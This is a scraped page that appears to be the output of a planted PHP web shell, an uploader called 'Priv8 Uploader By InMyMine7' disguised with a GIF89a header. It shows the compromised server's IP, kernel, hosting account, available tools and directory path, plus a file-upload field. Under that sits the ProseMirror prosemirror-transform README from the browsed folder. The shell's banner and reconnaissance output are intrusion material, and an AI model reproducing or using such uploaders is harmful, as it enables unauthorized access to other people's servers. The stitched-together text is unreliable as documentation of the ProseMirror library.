GIF89a;
GIF89a;Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
| Server IP : 82.165.91.112 / Your IP : 216.73.217.79 Web Server : Apache System : Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 User : nr7.net_tfpqq467gv ( 10001) PHP Version : 8.4.25 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/prosemirror-transform/src/ |
Upload File : |
This module defines a way of modifying documents that allows changes to be recorded, replayed, and reordered. You can read more about transformations in [the guide](/docs/guide/#transform). ### Steps Transforming happens in `Step`s, which are atomic, well-defined modifications to a document. [Applying](#transform.Step.apply) a step produces a new document. Each step provides a [change map](#transform.StepMap) that maps positions in the old document to position in the transformed document. Steps can be [inverted](#transform.Step.invert) to create a step that undoes their effect, and chained together in a convenience object called a [`Transform`](#transform.Transform). @Step @StepResult @ReplaceStep @ReplaceAroundStep @AddMarkStep @RemoveMarkStep @AddNodeMarkStep @RemoveNodeMarkStep @AttrStep @DocAttrStep ### Position Mapping Mapping positions from one document to another by running through the [step maps](#transform.StepMap) produced by steps is an important operation in ProseMirror. It is used, for example, for updating the selection when the document changes. @Mappable @MapResult @StepMap @Mapping ### Document transforms Because you often need to collect a number of steps together to effect a composite change, ProseMirror provides an abstraction to make this easy. [State transactions](#state.Transaction) are a subclass of transforms. @Transform The following helper functions can be useful when creating transformations or determining whether they are even possible. @replaceStep @liftTarget @findWrapping @canSplit @canJoin @joinPoint @insertPoint @dropPoint